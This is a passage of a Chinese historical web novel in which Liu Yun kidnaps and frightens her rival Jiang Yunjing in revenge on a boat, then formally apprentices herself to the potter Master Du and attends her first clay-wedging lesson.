柳芸回眸,直视着他:“这些东西你以为我柳家没有吗?”
江云峥敏锐地察觉到还有斡旋的余地,他轻摇折扇,眼尾微挑,洞若观火:“但是,这些东西是柳家的,不是你柳芸的。”
说完这句话,他果然捕捉到柳芸的脸色微凝。
他立刻有了把握。不疾不徐补充:“据我所知,你父亲带回了一个来历不明的少年,你比我更清楚你爹一直想要一个儿子继承家产吧?”
柳芸抿着嘴,下颌线紧绷,不复刚才的散漫:“你到底想说什么?”
江云峥轻笑:“只要你答应不做损害我江家名声的事情,将来你有需要,若有这么一天,你想要拿下柳家,我江家可以助你一臂之力。起码不会站在你对面。我江家在长安的势力,我想你也清楚。”
“我凭什么相信你?”
“用人不疑,疑人不用。江小姐,这道理不用我教你。”江云峥摊了摊手。
他在等柳芸的回答,但柳芸并没有马上做出反应,反而是静静站在原地,一脸复杂。
江云峥不着急,他一向很有耐心。
过了不知道多久,柳芸思考一瞬,飞快地权衡利弊,的确如江云峥所言,她现在动不了江云锦,不然她也会惹祸上身,江云峥提出的和解条件也很令她心动,她确实需要足够的筹码掌握柳家。
柳芸缓缓抬眼:“行,我可以答应你。望你今后一定不要忘记今日的诺言,否则,我不能保证我发疯起来会做出什么事情。”
少女的瞳孔深深,仿佛有一窜
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危险的火苗跳跃。
江云峥被她的眼神慑到,摇着折扇的手顿了顿。
等他反应过来,柳芸早已离开了东厢房。
他端着茶盏,轻轻吹掉茶沫,又是温润公子模样,轻笑着摇了摇头:“这姑娘不简单呐。”
柳芸走回主屋,宾客已经全部散了,只剩下春桃和裴济之还在原地等她。
春桃见到她,跳起来抓着她的手,上上下下打量:“小姐,江二公子没有为难你吧?”
裴济之默不作声落后几步。
柳芸拍了拍春桃,让她放宽心,然后冷声吩咐裴济之:“随我去江家祠堂。”
裴济之皱眉:“你要做什么?”
“不该问的别问。”
柳芸扫视一圈江家的布置,进府以来,她一直在留心观察,短短几次试探和接触,她心中已经大抵对江家的守卫有了计较。
“小姐—需要奴婢做什么?”春桃不懂柳芸在想什么,但她想出力。
柳芸捏了捏她的脸颊,脱下自己的外袍:“你穿着我的衣服假扮成我回去。”
春桃不解,但她还是乖乖将柳芸的外袍披在身上。
“你从小就在我身边侍候,最熟悉我的动作神态,少说话不要穿帮。”柳芸正色道。
春桃不敢辜负小姐的重任,郑重点头:“奴婢谨记小姐吩咐。”
“去吧。”
春桃咬了咬牙,回忆小姐平日的神态,抬头挺胸朝着江家大门走去,戴着幕篱,两旁侍立的江家护卫只是看了她两眼,没有起疑。
有一个小侍卫皱了皱眉,低声问身边的老侍卫:“大哥,刚才这位小姐进门时头上有戴着幕篱吗?”
老侍卫早就老眼昏花,他哪里记得这些贵客们穿戴的细节,但他不想在下手面前丢了威严,低声呵斥:“守好你的岗,别总是关注些没用的!”
小侍卫瘪瘪嘴,不说话了,他摇摇头,心想也许真是自己记忆出了差错。
目送春桃离开,屋里只剩下柳芸和裴济之。
柳芸侧眸斜睨一眼裴济之:“一会儿不许给我拖后腿。”
……
江云锦捂着受伤的额头,被下人带到了祠堂。
她跪在蒲团上,心里发寒,额头上的伤口并不严重,已经不流血了,但二哥竟然不许丫鬟替她包扎,还让她跪在祖宗面前反省,只提供最简单的膳食,白粥和馒头。
江云锦怎么说也是娇生惯养的小姐,哪里受过这种委屈?
她长这么大,素来是被兄长们捧在掌心长大的,别说罚跪,便是重话都极少听过,从前她任性妄为,也惹过不少祸事,二哥也只会无奈叹气,柔声安抚她,替她收拾烂摊子。
上一次罚跪祠堂是什么时候了?
江云锦忍不住想,哦对了,是那个爹的外室来家里给母亲脸色,她打了那外室女子几巴掌,被父亲扔进来跪了一天一夜。
她记得,还是二哥将昏迷的她从祠堂里抱出来,连夜请了郎中给她医治,从那天以后,她再也没见过那个嚣张的外室。
祠堂里静得只剩烛火摇曳的噼啪声。江云锦喉咙发哽,什么东西堵塞胸口,喘不过来气。
“烦!终于放倒了!门口这俩守卫真难搞。”一道声音突兀响起。
22. 船舱恐吓
“谁?是谁在哪里?唔——”江云锦脸色大变,忍不住出声,下一秒却被一双手捂住了口鼻。
来不及发出惊呼,甚至还没看清身后的人是谁,江云锦已经晕了过去。
柳芸收回手,用帕子嫌弃地擦了擦,望着倒在地上不省人事的江云锦,唇角一弯,露出了满意之色。
裴济之替她收拾好门口的两个守卫进来就见到这一幕。
柳芸发出啧啧两声:“你动作太慢了,现在,将她捆起来带走。”
柳芸从袖中掏出一卷麻绳,朝裴济之扔了过去。
虽然她已经答应了江云峥的交换条件,暂时不将事情捅到明面上,但该报的仇还得报,江云锦以为这件事这样就算翻篇了吗?
没门!
江云锦是被一桶水泼醒的,她乍一睁眼,竟不知道自己身处何处。
入目是昏暗,粗糙的木梁在眼前晃晃荡荡,风从缝隙里钻进来,卷着咸湿的空气,江云锦发现自己浑身瘫软无力,一点力气也使不出,手脚被麻绳死死捆缚。
瞬间,恐惧铺天盖地席卷而来。
她记起来了,她在家中祠堂突然被人迷晕,醒来便被带到了这里。
到底是什么人如此胆大包天?又能无知无觉做出这番动作?
“里面太黑了,赶紧点燃烛火!”有个声音在黑暗中抱怨。
江云锦瞳孔收缩,她想喊叫,但她发现自己的嘴巴也被堵住了,一句话都发不出来。
“刺啦!”
微弱的烛火点燃,火苗跳跃中,映照出周围的环境。
江云锦看见拱形的舱顶和身下潮湿的木板,终于意识到自己现在在一条船上。
火光也照耀出面前站立的二人的眉眼。
正是柳芸和裴济之。裴济之捧着蜡烛,站在柳芸身后几步。
柳芸见江云锦那双充血的眼睛瞪着自己,嗤笑一声,在她身前蹲下。
“怎么了?看到我你很惊讶?”柳芸拍了拍江云锦的脸颊。
江云锦满是怨怼,她想痛骂,她想扑上去掐住柳芸的脖子,可是她做不到,她的喉间只能发出断断续续不成形的音节。
“哦差点忘了,你的嘴被我拿鱼兜堵住了。”柳芸仿佛才想起来似的,掩着嘴发出惊呼,将塞进她嘴里的鱼兜掏了出来。
江云锦被鱼腥味熏得想吐,一呼吸到新鲜空气就大口喘息起来,然后她试图大叫呼喊:“救命啊!救命!”
“你省省力气吧,喊破喉咙也没用的。”柳芸连眼皮都没掀一下。
“柳芸!你这个混蛋!你要对我做什么?”水珠顺着江云锦的脸颊滑落,滴在船板上晕开湿痕。她咆哮着。
柳芸拎着空了的木桶,居高临下看着狼狈的江云锦,红唇轻启:“当然是做你要对我做的事情呀?”
闻言,江云锦脸色变得惨败,她依旧愤怒,但夹杂着恐惧:“你休想!我是江家的小姐,你这样做,我爹和我哥不会放过你的!”
柳芸无所谓地“哦”了一声,不知从何处掏出一把匕首,刀刃沿着江云锦的脸颊滑动,弄得江云锦瑟瑟发抖。
“你都敢做,我有什么不敢的?再说了,等我将你送人,你爹你哥还没反应过来呢,他们又要去哪里寻你?”
柳芸的声音如同鬼魅,落到江云锦的耳朵里,她的心一寸寸绝望。
她浑身一颤,刚才的气焰荡然无存,未知的恐惧潮水般淹没,她再也撑不住,眼泪瞬间翻涌上来,声音颤抖:“柳芸,我错了,我真的知道错了,你放过我……”
“别啊,你忘记春和先生教我们的,以其人之身换治其人之道。你瞒着我将我送给罗松乔的时候,可有想过这一天?”柳芸眼神淡漠,说出的话却一刀一刀剐在江云锦心头,“所以,我也让你体验体验,这种被人安排又逃脱不得的滋味,不错吧?”
江云锦此刻觉得站在自己面前的人完全是个什么事都做得出来的疯子,柳芸这番话不是在恐吓她,她是真的能做出这种事情。
江云锦惊慌地扫视四周,狭窄的船舱里除了她和柳芸,还有一个人默不作声站在角落里,江云锦抱着最后一丝希望,将目光投向裴济之。
“子璋,你我是同窗,我求你……救救我,你和我联手,她双拳难敌四手……”
“哦?你当着我的面策反我的人?”柳芸闻言,挑了挑眉,出言嘲讽。
江云锦却不理睬柳芸的讽刺,她死死盯着裴济之,她知道,或许破局的真正希望就在裴济之身上。
她有把握,她看得出来的,裴济之恨柳芸。
“如今的局面……只要你我联手,我们……”她压下慌张,故作镇定,声音放柔,带着祈求。
下一秒,隐在阴影里的裴济之淡淡开口:“我想,我上次说得很清楚了,我不会和你合作,你们之前的事情我不会参与。”
江云锦脸上的血色一点点褪尽,心头最后一丝侥幸也被彻底碾碎。
柳芸扭头看了一眼少年,冷哼一声:“算你识相。”
裴济之板着脸,抬头看了一眼天色:“你最好快点儿,江家那边应该反应过来了。”
裴济之说的没错。
此刻的江府已经乱了,大家发现原本应该在祠堂罚跪的江云锦凭空消失了。
“去找!赶紧去找!掘地三尺都要找到她!”江云峥不复往日轻松,脸上罕见焦虑起来。
他背着手在院子里来来回回踱步,周围下人不敢说话。
怎么会突然不见呢?门口的守卫说没见过她出门,难道人还能凭空消失不成?
江云峥问守卫们:“今天下午到晚上有没有看见可疑的人进出?”
守卫们你看看我,我看看你,然后摇了摇头。
“最后一个离开的人是谁?”江云峥又问。
一个小守卫站出来回禀:“是柳小姐。”
柳芸?听到她的名字,江云峥愣了愣,盘问小守卫:“她走的时候可有什么异常?”
小守卫思索一阵,偷偷看了一眼江云峥的脸色,咬牙回禀:“当时看得并不真切,但我记得她头戴着幕篱走的,小的印象中柳小姐来的时候头上并没有戴什么东西。”
此话一出,在场的人都倒抽一口冷气。
江云峥身边的门客抓着胡须缓缓分析:“或许小姐失踪同这柳小姐有关,要不,大人您派人去柳家
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看看?”
下人们觉得门客说的在理,纷纷看向江云峥,只等他一声令下。
未料,江云峥想了想,举起手:“不必,再去别处找找。”
他白日才同柳芸达成交易,若是晚上去她家找人,摆明了就是不信任她,难保她心怀芥蒂。
而且,如果真是柳芸做的,江云峥有把握她不会乱来,除非她真的不想要柳家家产。
就是委屈锦娘要吃些苦头了。
江云峥垂眸,长叹一口气。
这边,江云锦脸色煞白,她再也顾不上什么尊严,猛地扑上去死死抓住柳芸的裙摆:“芸娘芸娘,我求你放过我,你让我做什么都行……我求你……”
膝盖一软,她双膝跪地,满是狼狈与惶恐。
“你知道当日我是怎么逃出来的吗?”柳芸蹲下,与她的视线平齐。
江云锦害怕得打颤,一味摇头。
“我呀,低估了罗松乔这厮,险些真着了他的道,不过还好,”柳芸顿了顿,嘴角微弯,“我随身带着鞭子,趁他不备,直击他的命门,当时那场面,啧啧,血从他头上喷溅出来,哗啦啦的,跟撒花似的。真可惜,你没看到——”
柳芸歪了歪头,唇角挂着漫不经心的笑,仿佛她方才真的只是在和江云锦说闲话。
然后她顿了顿,伸手,指尖轻轻拂过江云锦毫无血色的脸颊:“你看你,怕成这样做什么?我又不会吃了你。”
江云锦手脚并用在地上爬,发丝凌乱地黏在脸上,眼泪鼻涕混在一起糊了满脸,早已没了大家闺秀的模样。
“芸娘……我错了,我不该算计你……”
“你想怎么罚我都行,打我、骂我、把我踩在脚下……”
“只求你不要把我送人……”
眼泪一颗一颗砸在地上,江云锦匍匐在她脚边。
“现在知道害怕了?”柳芸轻嗤一声,从江云锦手中将自己的裙摆抽走,“晚了。”
柳芸起身,头也不回地往外走。
裴济之跟在她身后,连一丝余光都没有分给地上的江云锦。
“不要!你不要走!不要丢下我!”江云锦声嘶力竭地呐喊,喉咙涌上甜腥味,指甲扣在船板上,用力过猛划出了长长的抓痕。
但没有人理她,谁也没有为她驻足。
很快,船舱里又恢复了伸手不见五指的黑暗,只剩下江云锦抱膝缩在角落哭泣。
她一直在哭,眼泪都要流干,因为长久没有进水,喉咙嘶哑疼痛,又因为衣服浸透了水,浑身冷得发抖。
时间一分一秒过去,江云锦在绝望中昏死过去。
走出船舱,柳芸负手站在船头,裴济之公事公办问:“这人怎么处理?”
柳芸眺望远处的崇山峻岭,脑海中浮现出江云峥那张书生气的脸:“还给江家。”
“你不是要将她送——”裴济之确信自己刚才没有听错。
柳芸语气冷冷:“叫你做什么就去做,不要随意揣度我的想法。”
柳芸自问自己不是江云锦,没这么卑鄙,用不出这么下作的手段,她不过是吓唬吓唬她,让她也感受下当时的环境,长长记性。
23. 主仆谈话
江云锦是被人半夜扔在江府门口的。
柳芸命令裴济之去做这件事,凌安看不得自家主子被使唤,柳芸一走,他立刻上前帮裴济之把江云锦送回去了。
江云峥后半夜一直站在江云锦屋门口等,表情严肃。
郎中背着药箱出来,朝江云峥拱手:“二爷,小姐这是受了风寒,又似乎遭遇了惊吓,发了高烧,神志不清,我这边开个方子,需要静养几日。”
听到郎中如此回复,江云峥放下心来,他这才露出一个浅浅的笑容:“有劳先生了。”
身旁的小厮马上带着郎中下去抓药。
“二爷,我扶您回去休息吧。快寅时了。”贴身小厮忍不住出声提醒。
江云峥抬头看了看天色,天际线已经隐隐泛白,他揉了揉胀痛的眉头:“嗯,先回去躺会儿吧。”
第二日,江云锦还是昏迷不醒,脸颊烧得绯红,经常做梦魇,攥着被角,眉头紧锁,脸上冷汗涔涔,抓着虚空哭泣:“你要害我……我知道……你原谅我……我错了……”
丫鬟们吓得不轻,几个人联手才将她摁回床榻上。
江云峥那头知道了情况,也很无奈,又请了好几位郎中,得出的结论都是一样的。
江父江母人在外,得知消息之后当即写信给江云峥询问情况。
江云峥打开快马加鞭送来的信笺,母亲显然动了气,指责他为何苛待胞妹,若不是他执意让江云锦跪祠堂便不会让歹人有了可乘之机。
江云峥看到信笺上还有几滴干涸的泪渍,他脸色沉了沉,将信笺阖上。
打开父亲的那封书信,江父倒没有江母那般言辞激烈,短短几句,让他继续管理家中事务,叮嘱他好好照顾妹妹。
“大人,明日我们是否要启程回去?”小厮恭敬询问。
明日是他回程赴任的日子,江云峥摇了摇头:“等锦娘病好了,我再走。”
说完他拿起桌案上的毛笔,挥毫写了封告假信,递给小厮:“将这封信快马加鞭送去我上官那里。”
小厮领命退下。
江云峥忙完坐在太师椅上,深觉家中简直是一团乱麻,倒不如还在任上轻松,但想到母亲和妹妹,他又不能真的撒手不管。
同柳芸一样,他江云峥也有要守护的人和物。
想起父亲的姨娘生的那个庶兄,江云峥闭了闭眼。
外人都道他是江家的嫡子,以为江老爷对他寄予了厚望,还安排他在外做官,实际上他们并不知道,父亲一点也不喜欢母亲,因而对他们兄妹二人不重视,早在他娶母亲之前,就同心爱的女子生下一子,此子便是江云峥的庶兄——江承。
江云峥从小就被父亲打发出去,在外求学、背井离乡,而江承则一直留在父亲身边,承欢膝下。
江老爷将毕生所学都传授给了这个庶长子,江云峥眼中不苟言笑的父亲,只有在他庶兄面前,才会展露出慈父的一面。
江云峥握着折扇的手紧了紧,他自嘲一笑:怎么好端端又想起这些了,他早就过了渴求长辈疼爱的年纪了。
……
“小姐,你怎么这么晚回来?”
春桃躲在柳芸屋子里,披着她的斗篷,心中始终惴惴不安。
忽然听见门吱呀一声被推开,吓得她差点跳起来,待到看清了来人正是柳芸,这才慌忙迎上去。
柳芸任由她抓着自己的手臂上下打量,调侃:“春桃你做得很好,想要什么奖赏?”
“这都是奴婢该做的。小姐你人没事就好。路上可遇到什么意外?”春桃问。
柳芸回头,对跟在身后的裴济之道:“这里没你什么事了。下去吧。”
“是。”裴济之随手关上了房门。
“主子,江家和柳家看上去要联手。我们这边要不要采取什么行动?”凌安从阴影中出现。
裴济之回到住处,从书架上取出一卷书册:“不过是两个小儿,江柳两家还不在他们手中,无需多虑。”
凌安闻言,抬头看了一眼站在窗前看书的少年,心想:您年纪也不大啊,这话说的跟他们长辈似的。
他咽了咽口水,没敢出声打扰。
柳芸摸出火折子,拔开塞子,对着筒口轻轻一吹,里头便窜出一点微弱的明火,借着那点光,稳稳点上了案头烛火。
“没什么意外,很顺利。”柳芸漫不经心回答她。
恐吓江云锦的任务圆满完成,估计她得做一阵子噩梦了,今后肯定不会再使这种下作手段。
待烛影摇曳,她又将火折子盖子按回,端起桌上的茶盏仰头灌了一口,想起什么,开口问春桃:
“江家那边可曾派人来过?”
春桃仔细回想,一脸认真:“没有,您不在的这段时间,只有一个姓姚的中年男子来求见您,但您不在,我就随便找了个借口搪塞,把他打发了。”
“姓姚?”柳芸敏锐捕捉到这个信息。
江家没有来找她麻烦,在她意料之中,但也在意料之外,她这番举动当然主要是为了报复江云锦,但也有存了测试江云峥诚意的心思。
看来,江云峥此人,倒还值得信赖。
至于这个姓姚的男人?
“长什么样?他有没有说找我做什么?”柳芸抬头看向春桃。
春桃抿唇,认真回忆:“穿着一件灰色长袍,约莫老爷那个岁数,长的么倒是文质彬彬的,就是不知怎得,让人觉得很卑微的样子,他就问了下您在不在府上,其他的,没有说。”
柳芸听了,心里也猜出个所以然,估计是姚文的父亲来赔罪了。
姚文伙同罗松乔惹了这么大的祸,他爹以后还怎么腆这脸来找柳老爹借钱?
柳芸点了点头:“你做的不错。他还会再来的。”
春桃走到柳芸身边,给她捏肩,放松肌肉。
一边捏一边问柳芸:“小姐,这件事要不要告知老爷?”
“我爹?”柳芸皱眉,撇了撇嘴,“他在外头多久了还不回来,根本不在乎我,告诉他做什么?”
“小姐何必妄自菲薄,您毕竟是老爷唯一的孩子,是他的心头肉。”春桃努力缓和父女俩的关系。
“我是不是独女还未必呢。”柳芸抱臂对着裴济之所在
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的柴房方向冷哼。
春桃默了默,手移到柳芸的头上,为她揉太阳穴:“有句话奴婢不知道当讲不当讲。”
柳芸睨了她一眼:“你这丫头什么时候跟我说话还玩起读书人这一套了?”
春桃忍不住笑:“小姐您不要取笑奴婢了。不然奴婢不说了。”
“好好好,我不笑你了,你说吧。”
“奴婢观察裴公子这么久,实在没看出来他有和您争夺家产的意思,他没有逾矩之心。”春桃斟酌着措辞,她一直留心观察柳芸的脸色,生怕这番话说的不对,触碰了柳芸的逆鳞。
柳芸等她说完,脸上不以为意:“知人知面不知心啊,春桃。”
春桃不解:“小姐何出此言?”
柳芸举起自己的手,另一只手指向曾经受伤的手指:“你难道忘了那天晚上我的手指莫名其妙肿胀?”
春桃立刻记起来:“奴婢怎么会忘记?小姐那天痛得脸色都发青了。奴婢心疼。”
柳芸的手抚上她紧锁的眉头,宽声安慰:“好了,都过去了。”
“可这件事和裴公子有什么关系?上次不是证明了他与此事无关吗?”
柳芸笑容隐去:“可是春桃你有没有想过,这件事从头到尾只有他一个人有嫌疑,其实真相已经再明显不过了,他确实收尾收得很干净,我找不到他的错处。”
春桃震惊地用手帕捂住嘴:“小姐,难道他真的存了害您的心思?”
柳芸点头,又摇头:“上次我晕倒在街头是他送回来的。”
想起这件事她就一阵一阵心烦意乱,手支着头,想把不知所谓的杂念摒除。
“他想害您想报复您,但又下不去手?”春桃说出这番话自己都觉得离谱,裴济之那种人实在看不出会有半分心软的地方。
柳芸抄起一把剥好的核桃丢进嘴里咀嚼:“我看未必是他心软,只是他觉得时候未到罢了。”
“那小姐咱们是不是应该防着点?”春桃揪着衣服,一脸紧张,如临大敌。
“你方才不还说他是个好人?”柳芸调侃她。
春桃撅起嘴:“什么?奴婢刚才说过吗?奴婢不记得了,一定是小姐记错了。”
柳芸:……
她点了点春桃的头,笑骂:“你啊你,越来越没规矩了!”
主仆二人笑闹着歇下不提。
第二日,春桃按照柳芸的吩咐收拾好行囊。
柳芸打着哈欠:“裴济之呢?”
春桃如是回禀:“已经在门外候着了。”
柳芸颔首,随丫鬟们帮自己更衣穿戴,她将丫鬟递过来的繁琐的簪子推回去:“今日去陶肆,不必穿得太引人注目。”
春桃牵着她的手,将她送上马车,满脸写满担心,上次罗家的事情真是让她后怕。
“小姐,要不您也带上我?”春桃提议。
柳芸摆了摆手:“你看好家,家里没人做主可不行。我这边有裴济之。”
没办法,春桃只好下车,看了一眼跟在马车后的裴济之,心情复杂嘱咐:“裴公子,你一定要看护好小姐。”
24. 拜师
柳芸坐在颠簸的马车上昏昏欲睡,这几日天气转凉,早起更是不容易。
学堂那边因为她不必考取功名,也不是日日需要去报道的。
往年这个时候她都躲在暖和的被窝里舒舒服服睡觉呢,今年下定决心要好好精进陶艺,她便要咬牙坚持下去。
江云锦伙同罗松乔陷害她的事情,江家这边她已经报复的差不多了,但罗松乔这个罪魁祸首她还没收拾,罗松乔的身份确实让柳芸为难。
如果得罪了陈县令,那这个上贡陶器的生意就做不成了。柳芸还要争取拿到这笔单子壮大自家招牌。
她决定要好好筹谋一下,如何最小化风险来好好治一治罗松乔这个畜生。
走进陶肆,杜师傅早已等候多时,先前他主动坦白被人胁迫陷害柳芸的事情,终于将深埋心底的秘密说出来,反倒觉得轻松不少。
杜师傅坐在上首,站起身露出一个和蔼的笑容:“你来了。”
他看到柳芸身后还跟着一个少年,少年眉目清俊,但面无表情,分明是柳芸的仆从,但气势又不似凡人。
“这位是?”杜师傅忍不住开口问。
按理,他是不应该过问这么多的,但那少年实在让他很难忽略。
柳芸倒也没觉得有什么,言简意赅:“哦,这是保护我的小厮。上次发生了意外,所以我身边带了一个人。您不用在意他。”
杜师傅心中暗暗称奇,这大户人家的仆从都如此这般气势非凡吗?于是,心中对柳家的评价高了几分。
柳芸并不知道这些,她以为杜师傅就是随口这么一问。
“柳小姐,我最后再和你确认一遍,你确定要拜我为师吗?陶艺不是过家家,需得付出十万分的耐心和恒心,不能怕吃苦不能半途而废,你确定你可以吗?”杜师傅正色。
这是要拜师了。
柳芸也收敛神色,拱手认真回答:“是的,我要向您学习陶艺。”
“好!”杜师傅激动地拍手,“那咱们拜师的仪式还是要有的。”
柳芸颔首,她提起裙摆上前跪下,裴济之捧着一个托盘递给她,柳芸接过托盘上的茶盏,恭敬地将茶盏递给杜师傅。
“徒弟早就仰慕先生的陶艺,愿静心习艺,守匠心、琢陶术,恳请先生收我为徒。”
她弯下脊背,额前的碎发扫过她的眼帘。
杜师傅抬眼,见她神色赤诚,一脸欣慰地接过她手中的茶盏。
掀开盖子,拨开茶沫,抿了一口茶水,又取过几案上沾着陶泥的木刀,捏着刀柄,放在柳芸的指尖轻轻一点。
刀片上沾染的陶泥就落在柳芸的手指上,陶泥微凉,但柳芸纹丝未动。
“陶艺需得修心,守拙求真,既拜入此门,便不可半途弃艺。”
柳芸垂手应诺,再躬身行礼。
一问一答,师徒名分已成。
杜师傅满意地点点头,指了指下首的座位:“你先坐下,我给你介绍你的几位师兄师姐。”
他笑着大手一拍,立刻有一群人推门冲进来。
“上课了,赶紧进来吧。”
柳芸定睛看过去,几个弟子们年纪不一,都是穿着朴素,但收拾得干净利落,一看就知道家境不算上佳但家风不错。
几人进来先给杜师傅恭恭敬敬行礼,齐声道:“师傅好。”
杜师傅捻着胡须,笑意吟吟:“这是我新收的徒弟柳芸,以后就是你们的小师妹了。”
于是几个人便转头齐齐朝她看过来,见到这新来的小师妹面若桃花,长得十分喜人,众人便也产生了几分亲近。
柳芸朝众人点了点头,算是见过面了。
杜师傅道:“好了,其他的下课再说,抓紧时间,我们这节课把基本功揉泥练一练!”
师傅发话,弟子们立刻回到自己座位上。
有个人坐到柳芸旁边,笑呵呵朝她伸出手:“你好呀,小师妹,初次见面,我叫赵飞。”
柳芸扭头,此人生得圆面宽额,憨厚老实,她回以微笑:“赵师兄今后多多指教。”
“哪里哪里。”赵飞不好意思地挠了挠头,“谈不上指教,我自己都是半吊子。”
然后他眼神瞟见柳芸身后站着的裴济之,不由得讶异:“这位仁兄为何站着?”
裴济之现在练得一身隐秘气息的能力,而且他平时也不苟言笑,站在角落里确实很难被察觉。赵飞原本以为这里只有他和柳芸两个人,着实被吓了一跳。
赵飞不知道柳芸家庭富裕,只当她是普通人家孩子,毕竟哪家富绅会送孩子来陶肆吃这个苦呢?大家来学艺的目的也就是为了掌握一门手艺混口饭吃。
他自然就不明白裴济之为何执意站在柳芸身后了。
“你坐呀,站着多累人!”赵飞笑嘻嘻捞过旁边的小木凳摆到裴济之面前。
在赵飞热情的注视下,裴济之抬眸看了他一眼,淡淡的,然后又看向柳芸。
赵飞心生疑窦,他戳了戳柳芸的胳膊:“这什么意思?他为什么看你?就好像在征询你的同意?”
柳芸扶额,眼前这个赵飞单单纯纯的,但确实没有坏心眼,她只好对着裴济之几不可察地点了点头。
裴济之于是才撩起下摆坐下,不知从何处掏出一本诗经,安安静静地翻阅起来。
赵飞更懵,他好奇地凑过去:“你在读书?那你为何来陶肆?”
读书人不应该在学堂吗?
柳芸实在看不下去,打断他继续探究裴济之:“先生看过来了,你专心点。”
赵飞听到这话,立刻乖乖回到位置,安分听讲。
杜师傅站在高台上讲解揉泥的要点。
“不要小看揉泥,这是陶艺的第一步,也是打地基的重要步骤,做不好全盘皆输。”杜师傅环视一圈正襟危坐的弟子们,语重心长。
他授课习惯边操作边讲解,说完他已经操刀切下一块陶泥置于桌上。
“我今日讲解的是羊头揉的方法。诸位认真听讲,莫要走神。”
柳芸也认真起来,所有弟子们脸上都是求知若渴,唯独裴济之坐在角落里翻阅手中的书册。
不过他刻意收敛自己的气息,没有人在意他。
“先将陶泥摔紧
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实。”
说着,杜师傅将陶泥扔在木几上,“砰砰砰!”抱起再砸下,发出巨大的碰撞声。
“这一步是要排去陶泥的气泡。”杜师傅指着陶泥解释。
柳芸和众弟子点头,表示懂了。
杜师傅围上腰巾,跨坐在长凳上,双手放在陶泥两侧不停向前推压。
约莫过了一盏茶的时间,杜师傅将陶泥推压成羊头状,停下手中活计,向徒弟们道:“这样反复推压时尽量保持双手用力一致。”
“请问先生,这样重复动作要多久?”
有个声音突兀响起。
杜师傅眯起眼睛望过去,是自己的二徒弟邵恒,他正满脸兴奋望着自己,杜师傅点点头,眼中闪过一丝赞许:“你问的问题很好,我正要讲解。”
邵恒听见先生夸赞自己,脸上难免闪过得意之色。
柳芸身边的赵飞听见这话冷哼:“什么嘛?谁还不会问问题了,也不知道得意什么?”
赵飞小声嘀咕没有别人听见,但柳芸就坐在他旁边,听得一清二楚。她挑了挑眉。
看来这个同桌和提问的那位少年有些恩怨。
她压低声音询问:“怎么了?问师傅问题不是很正常嘛?”
赵飞面上不屑:“他呀,叫邵恒,总喜欢在杜师傅面前显摆自己,平时上课就他总喜欢问东问西,让人烦不胜烦。偏偏师傅还喜欢他。”
他这么说,柳芸懂了,原来是师兄弟之间暗暗比较,在师傅面前争风头。赵飞是个半吊子,偏偏遇上了邵恒这个爱出风头的,两个人形成对照组了。
柳芸笑了:“这有什么?你好好学你的,将来有朝一日陶艺胜过他不就好了?”
赵飞不好意思地挠了挠头:“不瞒你说,我这种笨手笨脚的,想成为陶匠恐怕有些难。”
柳芸好奇:“那邵恒就很厉害吗?”
赵飞虽然不想承认但也不得不说:“他稍微比我强一点吧,但也就一点点儿。这小子还想以后进柳家陶肆当陶匠,我看他呀,做梦!”
“柳家陶肆?”听到自家铺子名号,柳芸竖起耳朵。
“对啊,你不想进江柳二家的陶肆吗?成为这两家的陶匠是在这里每一位学徒的最终理想啊。咱们杜师傅就是给江家做工的,听说俸禄不少呢。”赵飞脸上难掩羡慕。
柳芸:好家伙,我能说不吗?毕竟柳家陶肆就是我家开的。
赵飞看她表情并无向往之意,颇为诧异:“你不会真的没听说过这两家陶肆名号吧?这可是长安首屈一指的招牌。”
柳芸只好挤出一抹尴尬的笑:“我初来乍到,确实孤陋寡闻了。”
赵飞听她这么一说,立刻表示理解,同情地拍了拍柳芸的肩膀:“没事没事,今后跟着师兄我,我带你多见见时面!”
他自豪地拍了拍胸脯。
“赵飞!”杜师傅的声音突然拔高。
赵飞突然被点名,猛地打了个哆嗦。
这时,坐在前头的邵恒转过头,一脸幸灾乐祸。
“认真听讲!再有下次,出去站着!”杜师傅竖起眉头呵斥。
25. 陶艺课冲突
赵飞立刻如霜打的茄子,垂下头不敢吱声了。
杜师傅瞪了他一眼,收回视线,转头认真同邵恒解释他的疑问:“要重复揉捏直到将陶泥揉均匀。”
邵恒得了师傅解答,埋头在本子上奋笔疾书记下。
杜师傅继续传授揉泥的第二步,只见他双手放在陶泥中央,用力向下按压,陶泥在他手中逐渐变成了长条形。
杜师傅搓了搓手中的泥:“这一步要注意的是将泥往回带的时候角度不要太大,也要注意适度用力。”
“下一步,将双手放在陶泥两侧,像这样抓住陶泥,对,然后往前滚一下,再往后带回,这样这样……不停重复……”杜师傅手上动作不停,“你们看,陶泥最终变成了又矮又圆的形状。”
众弟子全部聚精会神看着他手中的陶泥,果然如他所说,已经初具泥团的形状,有些人忍不住发出惊叹。
杜师傅举起揉好的陶泥,将其竖起,向下一摔,陶泥便立在木桌上,杜师傅眼中闪过满意之色,他伸手轻轻将陶泥周围拍平整。
“好,所有步骤我都演示完成。接下来就是拉坯。咱们这节课要先将基础打磨好,欲筑室者先治其基。”
杜师傅示意徒弟们可以开始实操。
柳芸便和赵飞一起排队领取陶泥。
好巧不巧,排在赵飞前头的正是邵恒。
邵恒见到赵飞,唇角斜斜勾起:“哟,赵师弟,好久没在学堂见到你了,今日居然没旷课?”
赵飞确实有好几日没来陶肆上课了,他实在是对陶艺提不起兴致,他宁愿在家里帮着爹娘种地。
但听到自己看不惯的邵恒嘲讽自己,赵飞竖眉:“我来不来关你屁事,管好你自己吧。”
邵恒倒也不恼,视线瞥向赵飞身后站着的柳芸,脸上笑容更深:“这就是新来的小师妹吧?”
柳芸看看赵飞,又看看邵恒,抱拳:“邵师兄,初次见面,我叫柳芸。”
“你姓柳?”邵恒挑眉,“莫非是长安柳家的柳?”
柳芸以为邵恒猜到自己的身份,于是闭上嘴巴不做声。
“喂,邵恒,你少欺负小师妹。”赵飞挡在柳芸身前,摆出一脸凶相。
邵恒嗤笑:“我开玩笑嘛!人家江柳两家是死对头,咋可能来这儿。小师妹应该是恰巧同姓罢了。”
“你别一口一个师妹师妹的,我警告你,她才刚来陶肆,你别欺负她。”赵飞指着邵恒鼻子恶狠狠道。
邵恒抱臂:“咋了,就准你叫师妹,不准我叫?小师妹又不是你一个人的。”
柳芸被这两个人吵得头疼,忍了忍,终于开口:“你俩别吵了,往前走点,队伍前面人都走光了。”
邵恒这才反应过来,急忙赶上前头的队伍。
很快就轮到柳芸取陶泥了。
赵飞排在她前头,扭头对她粲然一笑:“小师妹,喏,这个给你,我顺道帮你一起切好了。”
说着,一大块硬邦邦的陶泥已经被他塞到手上。
